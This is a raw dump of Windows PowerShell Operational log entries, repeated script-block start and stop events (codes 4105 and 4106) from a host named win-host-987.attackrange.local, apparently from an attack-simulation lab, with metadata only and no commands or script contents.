814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:26 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988755 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:26 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988754 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:30 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988773 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:30 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988772 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:30 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988771 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:30 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988770 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:30 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988769 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:30 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988768 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:30 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988767 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:30 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988766 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:30 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988765 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:30 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988764 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:35 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988783 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:35 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988782 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:35 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988781 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:35 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988780 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:35 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988779 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:35 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988778 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:35 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988777 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:35 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988776 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:35 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988775 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:35 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988774 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:39 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988793 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:39 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988792 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:39 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988791 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:39 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988790 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:39 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988789 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:39 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988788 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:39 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988787 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:39 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988786 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:39 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988785 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:39 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988784 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:45 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988803 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:45 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988802 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:45 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988801 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:45 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988800 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:45 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988799 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:45 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988798 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:45 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988797 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:45 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988796 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:45 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988795 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:45 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988794 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:51 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988813 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:51 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988812 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:51 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988811 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:51 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988810 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:51 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988809 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:51 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988808 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:51 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988807 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:51 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988806 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:51 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988805 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:51 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988804 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:56 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988823 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:56 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988822 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:56 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988821 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:56 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED 